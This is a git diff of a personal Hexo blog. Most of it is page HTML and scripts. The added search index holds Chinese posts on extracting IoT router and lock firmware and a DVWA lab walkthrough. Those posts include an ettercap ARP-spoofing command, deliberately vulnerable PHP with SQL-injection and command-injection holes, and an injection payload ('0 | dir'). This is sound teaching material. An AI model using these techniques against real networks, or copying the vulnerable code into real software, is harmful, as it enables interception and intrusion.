+  <section id="posts" class="posts-expand">
+    
+      
+
+  
+
+  
+  
+  
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+  
+  
+  
+  <div class="post-block">
+    <link itemprop="mainEntityOfPage" href="https://cool-y.github.io/2000/01/01/hello-world/">
+
+    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
+      <meta itemprop="name" content="Cool-Y">
+      <meta itemprop="description" content>
+      <meta itemprop="image" content="/images/avatar.png">
+    </span>
+
+    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
+      <meta itemprop="name" content="混元霹雳手">
+    </span>
+
+    
+      <header class="post-header">
+
+        
+        
+          <h1 class="post-title" itemprop="name headline">
+                
+                <a class="post-title-link" href="/2000/01/01/hello-world/" itemprop="url">Hello World</a></h1>
+        
+
+        <div class="post-meta">
+          <span class="post-time">
+            
+              <span class="post-meta-item-icon">
+                <i class="fa fa-calendar-o"></i>
+              </span>
+              
+                <span class="post-meta-item-text">发表于</span>
+              
+              <time title="创建于" itemprop="dateCreated datePublished" datetime="2000-01-01T00:00:00+08:00">
+                2000-01-01
+              </time>
+            
+
+            
+
+            
+          </span>
+
+          
+
+          
+            
+          
+
+          
+          
+             <span id="/2000/01/01/hello-world/" class="leancloud_visitors" data-flag-title="Hello World">
+               <span class="post-meta-divider">|</span>
+               <span class="post-meta-item-icon">
+                 <i class="fa fa-eye"></i>
+               </span>
+               
+                 <span class="post-meta-item-text">阅读次数&#58;</span>
+               
+                 <span class="leancloud-visitors-count"></span>
+             </span>
+          
+
+          
+
+          
+            <div class="post-wordcount">
+              
+                
+                <span class="post-meta-item-icon">
+                  <i class="fa fa-file-word-o"></i>
+                </span>
+                
+                <span title="字数统计">
+                  9 字
+                </span>
+              
+
+              
+                <span class="post-meta-divider">|</span>
+              
+
+              
+                <span class="post-meta-item-icon">
+                  <i class="fa fa-clock-o"></i>
+                </span>
+                
+                <span title="阅读时长">
+                  1 分钟
+                </span>
+              
+            </div>
+          
+
+          
+
+        </div>
+      </header>
+    
+
+    
+    
+    
+    <div class="post-body" itemprop="articleBody">
+
+      
+      
+
+      
+        
+          
+          你好！我是混元霹雳手
+
+          
+          <!--noindex-->
+          <div class="post-button text-center">
+            <a class="btn" href="/2000/01/01/hello-world/#more" rel="contents">
+              阅读全文 &raquo;
+            </a>
+          </div>
+          <!--/noindex-->
+        
+      
+    </div>
+    
+    
+    
+
+    
+
+    
+
+    
+
+    <footer class="post-footer">
+      
+
+      
+
+      
+
+      
+      
+        <div class="post-eof"></div>
+      
+    </footer>
+  </div>
+  
+  
+  
+  </article>
+
+
+    
+  </section>
+
+  
+  <nav class="pagination">
+    <a class="extend prev" rel="prev" href="/page/2/"><i class="fa fa-angle-left"></i></a><a class="page-number" href="/">1</a><a class="page-number" href="/page/2/">2</a><span class="page-number current">3</span>
+  </nav>
+
+
+
+          </div>
+          
+
+
+          
+
+        </div>
+        
+          
+  
+  <div class="sidebar-toggle">
+    <div class="sidebar-toggle-line-wrap">
+      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
+    </div>
+  </div>
+
+  <aside id="sidebar" class="sidebar">
+    
+    <div class="sidebar-inner">
+
+      
+
+      
+
+      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
+        <div class="site-overview">
+          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
+            
+              <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
+            
+              <p class="site-author-name" itemprop="name">Cool-Y</p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
+          </div>
+
+          <nav class="site-state motion-element">
+
+            
+              <div class="site-state-item site-state-posts">
+              
+                <a href="/archives/">
+              
+                  <span class="site-state-item-count">21</span>
+                  <span class="site-state-item-name">日志</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-categories">
+                <a href="/categories/index.html">
+                  <span class="site-state-item-count">9</span>
+                  <span class="site-state-item-name">分类</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-tags">
+                <a href="/tags/index.html">
+                  <span class="site-state-item-count">43</span>
+                  <span class="site-state-item-name">标签</span>
+                </a>
+              </div>
+            
+
+          </nav>
+
+          
+
+          
+            <div class="links-of-author motion-element">
+                
+                  <span class="links-of-author-item">
+                    <a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
+                      
+                        <i class="fa fa-fw fa-github"></i>GitHub</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
+                      
+                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
+                      
+                        <i class="fa fa-fw fa-instagram"></i>Instagram</a>
+                  </span>
+                
+            </div>
+          
+
+          
+          
+
+          
+          
+
+          
+
+        </div>
+      </section>
+
+      
+
+      
+
+    </div>
+  </aside>
+
+
+        
+      </div>
+    </main>
+
+    <footer id="footer" class="footer">
+      <div class="footer-inner">
+        <div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
+  <span class="with-love">
+    <i class="fa fa-user"></i>
+  </span>
+  <span class="author" itemprop="copyrightHolder">Cool-Y</span>
+
+  
+    <span class="post-meta-divider">|</span>
+    <span class="post-meta-item-icon">
+      <i class="fa fa-area-chart"></i>
+    </span>
+    
+    <span title="Site words total count">64.5k</span>
+  
+</div>
+
+
+  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
+
+
+
+
+
+
+
+
+        
+<div class="busuanzi-count">
+    <script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
+
+  
+    <span class="site-uv">
+      <i class="fa fa-user"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
+      
+    </span>
+  
+
+  
+    <span class="site-pv">
+      <i class="fa fa-eye"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
+      
+    </span>
+  
+</div>
+
+
+
+
+
+
+
+
+        
+      </div>
+    </footer>
+
+    
+      <div class="back-to-top">
+        <i class="fa fa-arrow-up"></i>
+        
+      </div>
+    
+
+    
+
+  </div>
+
+  
+
+<script type="text/javascript">
+  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
+    window.Promise = null;
+  }
+</script>
+
+
+
+
+
+
+
+
+
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
+  
+
+
+  
+
+
+  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
+
+
+
+  
+  
+
+
+  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>
+
+
+
+  
+
+  
+
+
+  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
+
+
+
+  
+
+
+  
+
+
+
+
+	
+
+
+
+
+
+  
+
+
+
+
+
+  
+
+
+
+
+
+
+
+<!-- LOCAL: You can save these files to your site and update links -->
+    
+        
+        <link rel="stylesheet" href="https://jjeejj.github.io/css/gitment.css">
+        <script src="https://jjeejj.github.io/js/gitment.js"></script>
+    
+<!-- END LOCAL -->
+
+    
+
+    
+
+
+
+
+
+
+
+  
+
+  <script type="text/javascript">
+    // Popup Window;
+    var isfetched = false;
+    var isXml = true;
+    // Search DB path;
+    var search_path = "search.xml";
+    if (search_path.length === 0) {
+      search_path = "search.xml";
+    } else if (/json$/i.test(search_path)) {
+      isXml = false;
+    }
+    var path = "/" + search_path;
+    // monitor main search box;
+
+    var onPopupClose = function (e) {
+      $('.popup').hide();
+      $('#local-search-input').val('');
+      $('.search-result-list').remove();
+      $('#no-result').remove();
+      $(".local-search-pop-overlay").remove();
+      $('body').css('overflow', '');
+    }
+
+    function proceedsearch() {
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
+        .css('overflow', 'hidden');
+      $('.search-popup-overlay').click(onPopupClose);
+      $('.popup').toggle();
+      var $localSearchInput = $('#local-search-input');
+      $localSearchInput.attr("autocapitalize", "none");
+      $localSearchInput.attr("autocorrect", "off");
+      $localSearchInput.focus();
+    }
+
+    // search function;
+    var searchFunc = function(path, search_id, content_id) {
+      'use strict';
+
+      // start loading animation
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
+          '<div id="search-loading-icon">' +
+          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
+          '</div>' +
+          '</div>')
+        .css('overflow', 'hidden');
+      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
+
+      $.ajax({
+        url: path,
+        dataType: isXml ? "xml" : "json",
+        async: true,
+        success: function(res) {
+          // get the contents from search data
+          isfetched = true;
+          $('.popup').detach().appendTo('.header-inner');
+          var datas = isXml ? $("entry", res).map(function() {
+            return {
+              title: $("title", this).text(),
+              content: $("content",this).text(),
+              url: $("url" , this).text()
+            };
+          }).get() : res;
+          var input = document.getElementById(search_id);
+          var resultContent = document.getElementById(content_id);
+          var inputEventFunction = function() {
+            var searchText = input.value.trim().toLowerCase();
+            var keywords = searchText.split(/[\s\-]+/);
+            if (keywords.length > 1) {
+              keywords.push(searchText);
+            }
+            var resultItems = [];
+            if (searchText.length > 0) {
+              // perform local searching
+              datas.forEach(function(data) {
+                var isMatch = false;
+                var hitCount = 0;
+                var searchTextCount = 0;
+                var title = data.title.trim();
+                var titleInLowerCase = title.toLowerCase();
+                var content = data.content.trim().replace(/<[^>]+>/g,"");
+                var contentInLowerCase = content.toLowerCase();
+                var articleUrl = decodeURIComponent(data.url);
+                var indexOfTitle = [];
+                var indexOfContent = [];
+                // only match articles with not empty titles
+                if(title != '') {
+                  keywords.forEach(function(keyword) {
+                    function getIndexByWord(word, text, caseSensitive) {
+                      var wordLen = word.length;
+                      if (wordLen === 0) {
+                        return [];
+                      }
+                      var startPosition = 0, position = [], index = [];
+                      if (!caseSensitive) {
+                        text = text.toLowerCase();
+                        word = word.toLowerCase();
+                      }
+                      while ((position = text.indexOf(word, startPosition)) > -1) {
+                        index.push({position: position, word: word});
+                        startPosition = position + wordLen;
+                      }
+                      return index;
+                    }
+
+                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
+                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
+                  });
+                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
+                    isMatch = true;
+                    hitCount = indexOfTitle.length + indexOfContent.length;
+                  }
+                }
+
+                // show search results
+
+                if (isMatch) {
+                  // sort index by position of keyword
+
+                  [indexOfTitle, indexOfContent].forEach(function (index) {
+                    index.sort(function (itemLeft, itemRight) {
+                      if (itemRight.position !== itemLeft.position) {
+                        return itemRight.position - itemLeft.position;
+                      } else {
+                        return itemLeft.word.length - itemRight.word.length;
+                      }
+                    });
+                  });
+
+                  // merge hits into slices
+
+                  function mergeIntoSlice(text, start, end, index) {
+                    var item = index[index.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    var hits = [];
+                    var searchTextCountInSlice = 0;
+                    while (position + word.length <= end && index.length != 0) {
+                      if (word === searchText) {
+                        searchTextCountInSlice++;
+                      }
+                      hits.push({position: position, length: word.length});
+                      var wordEnd = position + word.length;
+
+                      // move to next position of hit
+
+                      index.pop();
+                      while (index.length != 0) {
+                        item = index[index.length - 1];
+                        position = item.position;
+                        word = item.word;
+                        if (wordEnd > position) {
+                          index.pop();
+                        } else {
+                          break;
+                        }
+                      }
+                    }
+                    searchTextCount += searchTextCountInSlice;
+                    return {
+                      hits: hits,
+                      start: start,
+                      end: end,
+                      searchTextCount: searchTextCountInSlice
+                    };
+                  }
+
+                  var slicesOfTitle = [];
+                  if (indexOfTitle.length != 0) {
+                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
+                  }
+
+                  var slicesOfContent = [];
+                  while (indexOfContent.length != 0) {
+                    var item = indexOfContent[indexOfContent.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    // cut out 100 characters
+                    var start = position - 20;
+                    var end = position + 80;
+                    if(start < 0){
+                      start = 0;
+                    }
+                    if (end < position + word.length) {
+                      end = position + word.length;
+                    }
+                    if(end > content.length){
+                      end = content.length;
+                    }
+                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
+                  }
+
+                  // sort slices in content by search text's count and hits' count
+
+                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
+                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
+                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
+                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
+                      return sliceRight.hits.length - sliceLeft.hits.length;
+                    } else {
+                      return sliceLeft.start - sliceRight.start;
+                    }
+                  });
+
+                  // select top N slices in content
+
+                  var upperBound = parseInt('1');
+                  if (upperBound >= 0) {
+                    slicesOfContent = slicesOfContent.slice(0, upperBound);
+                  }
+
+                  // highlight title and content
+
+                  function highlightKeyword(text, slice) {
+                    var result = '';
+                    var prevEnd = slice.start;
+                    slice.hits.forEach(function (hit) {
+                      result += text.substring(prevEnd, hit.position);
+                      var end = hit.position + hit.length;
+                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
+                      prevEnd = end;
+                    });
+                    result += text.substring(prevEnd, slice.end);
+                    return result;
+                  }
+
+                  var resultItem = '';
+
+                  if (slicesOfTitle.length != 0) {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
+                  } else {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
+                  }
+
+                  slicesOfContent.forEach(function (slice) {
+                    resultItem += "<a href='" + articleUrl + "'>" +
+                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
+                      "...</p>" + "</a>";
+                  });
+
+                  resultItem += "</li>";
+                  resultItems.push({
+                    item: resultItem,
+                    searchTextCount: searchTextCount,
+                    hitCount: hitCount,
+                    id: resultItems.length
+                  });
+                }
+              })
+            };
+            if (keywords.length === 1 && keywords[0] === "") {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
+            } else if (resultItems.length === 0) {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
+            } else {
+              resultItems.sort(function (resultLeft, resultRight) {
+                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
+                  return resultRight.searchTextCount - resultLeft.searchTextCount;
+                } else if (resultLeft.hitCount !== resultRight.hitCount) {
+                  return resultRight.hitCount - resultLeft.hitCount;
+                } else {
+                  return resultRight.id - resultLeft.id;
+                }
+              });
+              var searchResultList = '<ul class=\"search-result-list\">';
+              resultItems.forEach(function (result) {
+                searchResultList += result.item;
+              })
+              searchResultList += "</ul>";
+              resultContent.innerHTML = searchResultList;
+            }
+          }
+
+          if ('auto' === 'auto') {
+            input.addEventListener('input', inputEventFunction);
+          } else {
+            $('.search-icon').click(inputEventFunction);
+            input.addEventListener('keypress', function (event) {
+              if (event.keyCode === 13) {
+                inputEventFunction();
+              }
+            });
+          }
+
+          // remove loading animation
+          $(".local-search-pop-overlay").remove();
+          $('body').css('overflow', '');
+
+          proceedsearch();
+        }
+      });
+    }
+
+    // handle and trigger popup window;
+    $('.popup-trigger').click(function(e) {
+      e.stopPropagation();
+      if (isfetched === false) {
+        searchFunc(path, 'local-search-input', 'local-search-result');
+      } else {
+        proceedsearch();
+      };
+    });
+
+    $('.popup-btn-close').click(onPopupClose);
+    $('.popup').click(function(e){
+      e.stopPropagation();
+    });
+    $(document).on('keyup', function (event) {
+      var shouldDismissSearchPopup = event.which === 27 &&
+        $('.search-popup').is(':visible');
+      if (shouldDismissSearchPopup) {
+        onPopupClose();
+      }
+    });
+  </script>
+
+
+
+
+
+  
+
+  
+  <script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
+  <script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
+  <script>
+    function showTime(Counter) {
+      var query = new AV.Query(Counter);
+      var entries = [];
+      var $visitors = $(".leancloud_visitors");
+
+      $visitors.each(function () {
+        entries.push( $(this).attr("id").trim() );
+      });
+
+      query.containedIn('url', entries);
+      query.find()
+        .done(function (results) {
+          var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
+
+          if (results.length === 0) {
+            $visitors.find(COUNT_CONTAINER_REF).text(0);
+            return;
+          }
+
+          for (var i = 0; i < results.length; i++) {
+            var item = results[i];
+            var url = item.get('url');
+            var time = item.get('time');
+            var element = document.getElementById(url);
+
+            $(element).find(COUNT_CONTAINER_REF).text(time);
+          }
+          for(var i = 0; i < entries.length; i++) {
+            var url = entries[i];
+            var element = document.getElementById(url);
+            var countSpan = $(element).find(COUNT_CONTAINER_REF);
+            if( countSpan.text() == '') {
+              countSpan.text(0);
+            }
+          }
+        })
+        .fail(function (object, error) {
+          console.log("Error: " + error.code + " " + error.message);
+        });
+    }
+
+    function addCount(Counter) {
+      var $visitors = $(".leancloud_visitors");
+      var url = $visitors.attr('id').trim();
+      var title = $visitors.attr('data-flag-title').trim();
+      var query = new AV.Query(Counter);
+
+      query.equalTo("url", url);
+      query.find({
+        success: function(results) {
+          if (results.length > 0) {
+            var counter = results[0];
+            counter.fetchWhenSave(true);
+            counter.increment("time");
+            counter.save(null, {
+              success: function(counter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(counter.get('time'));
+              },
+              error: function(counter, error) {
+                console.log('Failed to save Visitor num, with error message: ' + error.message);
+              }
+            });
+          } else {
+            var newcounter = new Counter();
+            /* Set ACL */
+            var acl = new AV.ACL();
+            acl.setPublicReadAccess(true);
+            acl.setPublicWriteAccess(true);
+            newcounter.setACL(acl);
+            /* End Set ACL */
+            newcounter.set("title", title);
+            newcounter.set("url", url);
+            newcounter.set("time", 1);
+            newcounter.save(null, {
+              success: function(newcounter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(newcounter.get('time'));
+              },
+              error: function(newcounter, error) {
+                console.log('Failed to create');
+              }
+            });
+          }
+        },
+        error: function(error) {
+          console.log('Error:' + error.code + " " + error.message);
+        }
+      });
+    }
+
+    $(function() {
+      var Counter = AV.Object.extend("Counter");
+      if ($('.leancloud_visitors').length == 1) {
+        addCount(Counter);
+      } else if ($('.post-title-link').length > 1) {
+        showTime(Counter);
+      }
+    });
+  </script>
+
+
+
+  
+
+  
+<script>
+(function(){
+    var bp = document.createElement('script');
+    var curProtocol = window.location.protocol.split(':')[0];
+    if (curProtocol === 'https') {
+        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
+    }
+    else {
+        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
+    }
+    var s = document.getElementsByTagName("script")[0];
+    s.parentNode.insertBefore(bp, s);
+})();
+</script>
+
+
+  
+  
+
+  
+
+  
+
+  
+
+</body>
+</html>
diff --git a/search.xml b/search.xml
index 359afd87..619a5934 100644
--- a/search.xml
+++ b/search.xml
@@ -1,9 +1,33 @@
 <?xml version="1.0" encoding="utf-8"?>
 <search>
+  <entry>
+    <title><![CDATA[获取固件的几种方法]]></title>
+    <url>%2F2019%2F07%2F24%2F%E8%8E%B7%E5%8F%96%E5%9B%BA%E4%BB%B6%2F</url>
+    <content type="text"><![CDATA[通过分析物联网设备遭受攻击的链条可以发现，黑客获取固件，把固件逆向成汇编或C程序语言后，能分析出设备的运行流程和网络行为，还能找到安全加密相关的密钥相关的信息。如果这些“有心人”没能获取到固件信息，他们也很难发现这些漏洞。从这一点看，物联网设备的安全性，在很大程度上决定于其固件的安全性。 http://blog.nsfocus.net/security-analysis-of-the-firmware-of-iot/https://open.appscan.io/article-1163.html 官网获取或联系售后索取升级包网络升级拦截工具：wireshark、ettercap流程：中间人-&gt;开始抓包-&gt;在线升级-&gt;分析固件地址-&gt;下载案例：华为路由WS5200 四核版这款路由器在网上找不到现有固件，我们尝试一下是否可以通过抓包在线升级过程获取固件。首先关闭防火墙，否则无法访问路由器的服务，无法做中间人攻击。使用ettercap进行arp欺骗，sudo ettercap -Tq -i ens33 -M arp:remote /192.168.31.1// /192.168.31.134//打开wireshark进行抓包。理论上说，点击升级固件之后，wireshark就能够记录升级固件的整个过程(HTTP),但是结果却并不理想。 还好华为路由器自带了抓包的功能（方便后期的调试和维护），所以直接使用这个功能抓取报文，比做中间人要直接了当得多。 在点击升级固件之后，我们可以看到大量发往58.49.156.104这个地址的报文，猜测极有可能是华为的服务器，过滤一下会看得更清楚可以看到在通过三次TCP握手之后，华为路由器向服务器发送了get请求，uri就是获取固件的地址 http://update.hicloud.com/TDS/data/files/p14/s145/G4404/g1810/v272964/f1/WS5200_10.0.2.7_main.bin点击即可拿到最新的固件 案例：小米智能门锁http://cdn.cnbj0.fds.api.mi-img.com/miio_fw/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin?GalaxyAccessKeyId=5721718224520&amp;Expires=1566136387000&amp;Signature=KLOrbsRANlJD7w7bKB03xI1t4/0= ./storage/emulated/0/Android/data/com.xiaomi.smarthome/cache/ble/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin 123456$ binwalk -Me 250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.binScan Time: 2019-07-20 20:01:40Target File: /home/han/ck/iot/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.binMD5 Checksum: 250cc495d7da7643680dadeab578fce0Signatures: 390 通过串口读取工具：uart转usb流程：找到电路板上的uart接口（RX、TX、+5v、GND）-&gt;串口通信-&gt;拿到shell-&gt;tar打包固件-&gt;nc传输案例：小爱音响 刷开发板固件，开启ssh服务有些厂商除了稳定版固件，还会提供开发版供发烧友“玩弄”。案例：小米路由器的开发板可通过安装ssh工具包开启ssh服务流程：开启ssh-&gt;tar打包固件12345678910111213141516171819202122232425262728root@XiaoQiang:/# lsbin data dev etc extdisks lib mnt opt overlay proc readonly rom root sbin sys tmp userdisk usr var www压缩提示没有足够的空间root@XiaoQiang:/# tar -zcf bin.tar.gz bin/*tar: can&apos;t open &apos;bin.tar.gz&apos;: No space left on device来看一下空间使用情况root@XiaoQiang:/# df -hFilesystem Size Used Available Use% Mounted onrootfs 25.9M 25.9M 0 100% /none 60.5M 4.5M 56.0M 7% /devtmpfs 60.9M 1.5M 59.4M 2% /tmpubi0_0 25.9M 25.9M 0 100% /tmpfs 60.9M 1.5M 59.4M 2% /tmptmpfs 60.9M 1.5M 59.4M 2% /extdisksubi1_0 45.4M 6.7M 36.3M 16% /dataubi1_0 45.4M 6.7M 36.3M 16% /userdiskubi0_0 25.9M 25.9M 0 100% /userdisk/dataubi1_0 45.4M 6.7M 36.3M 16% /etc/dev目录下还有足够空间，继续压缩root@XiaoQiang:/# tar -zcf ./dev/bin.tar.gz bin/*root@XiaoQiang:/# tar -zcf ./dev/data.tar.gz data/*其他的目录也是一样的方法scp传输到本地scp root:password@miwifi:/dev/*.tar.gz ./Desktop uboot提取固件案例：2018年看雪提供的摄像头 通过调试接口JTAG/SWD拆存储（flash、SD卡、硬盘等），用编程器或读卡器获取逻辑分析仪]]></content>
+      <categories>
+        <category>IoT</category>
+      </categories>
+      <tags>
+        <tag>IoT</tag>
+        <tag>硬件层</tag>
+      </tags>
+  </entry>
+  <entry>
+    <title><![CDATA[DVWA黑客攻防平台]]></title>
+    <url>%2F2019%2F07%2F24%2Fweb-dvwa%2F</url>
+    <content type="text"><![CDATA[搭建环境最好使用docker来搭建，方便迁移 https://hub.docker.com/r/vulnerables/web-dvwa/ 暴力破解easy模式 密码破解是从存储在计算机系统中或由计算机系统传输的数据中恢复密码的过程。一种常见的方法是反复尝试密码的猜测。用户经常选择弱密码。不安全选择的例子包括在词典中找到的单个单词，姓氏，任何太短的密码（通常被认为少于6或7个字符），或可预测的模式（例如交替的元音和辅音，这被称为leetspeak，所以“密码“变成”p @ 55w0rd“）。创建针对目标生成的目标单词列表通常会提供最高的成功率。有一些公共工具可以根据公司网站，个人社交网络和其他常见信息（如生日或毕业年份）的组合创建字典。最后一种方法是尝试所有可能的密码，称为暴力攻击。从理论上讲，如果尝试次数没有限制，那么暴力攻击将永远是成功的，因为可接受密码的规则必须是公开的;但随着密码长度的增加，可能的密码数量也越来越长。 使用burpsuite可破之，Burp suite运行后，Proxy 开起默认的8080 端口作为本地代理接口。使用Burp suite通过置一个web 浏览器使用其代理服务器123456789101112131415161718192021222324252627282930313233&lt;?phpif( isset( $_GET[ 'Login' ] ) ) &#123; // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '&lt;pre&gt;' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '&lt;/pre&gt;' ); if( $result &amp;&amp; mysqli_num_rows( $result ) == 1 ) &#123; // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "&lt;p&gt;Welcome to the password protected area &#123;$user&#125;&lt;/p&gt;"; echo "&lt;img src=\"&#123;$avatar&#125;\" /&gt;"; &#125; else &#123; // Login failed echo "&lt;pre&gt;&lt;br /&gt;Username and/or password incorrect.&lt;/pre&gt;"; &#125; ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);&#125;?&gt; PHP $_GET 变量在 PHP 中，预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值。 $_GET 变量预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值。从带有 GET 方法的表单发送的信息，对任何人都是可见的（会显示在浏览器的地址栏），并且对发送信息的量也有限制。 何时使用 method=”get”？在 HTML 表单中使用 method=”get” 时，所有的变量名和值都会显示在 URL 中。所以在发送密码或其他敏感信息时，不应该使用这个方法！然而，正因为变量显示在 URL 中，因此可以在收藏夹中收藏该页面。在某些情况下，这是很有用的。HTTP GET 方法不适合大型的变量值。它的值是不能超过 2000 个字符的。 12345678910GET /vulnerabilities/brute/?username=admin123&amp;password=123&amp;Login=Login HTTP/1.1Host: 192.168.31.84:81Proxy-Connection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Referer: http://192.168.31.84:81/vulnerabilities/brute/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=low 我们可以看到username和password是以明文出现，可以修改。 将请求进行提交到intruder模块，在那里可以把password设置为我们破解的payload.点击Start attack~然后就根据对面返回包的大小，知道密码，’password’返回的长度更长 medium模式代码与前面相比只是多了要用mysqli_real_escape_string函数进行验证，以及登录失败会 sleep(2)。将用户名和密码转义，比如说 \n 被转义成 \n，’ 转义成 \’，这可以抵御一些 SQL 注入攻击，但是不能抵御爆破。 命令执行easy模式 命令注入攻击的目的是在易受攻击的应用程序中注入和执行攻击者指定的命令。在这种情况下，执行不需要的系统命令的应用程序就像一个伪系统shell，攻击者可以将它用作任何授权的系统用户。但是，命令的执行具有与Web服务相同的权限和环境。 在大多数情况下，命令注入攻击是可能的，因为缺少正确的输入数据验证，攻击者可以操纵它（表单，cookie，HTTP头等）。 操作系统（OS）（例如Linux和Windows）的语法和命令可能不同，具体取决于所需的操作。 此攻击也可称为“远程命令执行（RCE）”。 123456789101112131415161718192021&lt;?phpif( isset( $_POST[ 'Submit' ] ) ) &#123; // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) &#123; // Windows $cmd = shell_exec( 'ping ' . $target ); &#125; else &#123; // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); &#125; // Feedback for the end user echo "&lt;pre&gt;&#123;$cmd&#125;&lt;/pre&gt;";&#125;?&gt; 可见，服务器无条件执行了ping $target的命令，如果注入$target = 0 | dir，服务器就会执行dir 管道符号，是unix一个很强大的功能,符号为一条竖线:”|”。用法: command 1 | command 2 他的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2 任意命令执行漏洞修补办法在写程序时尽量地使变量不能被用户所控制！且注意变量初始化的问题。 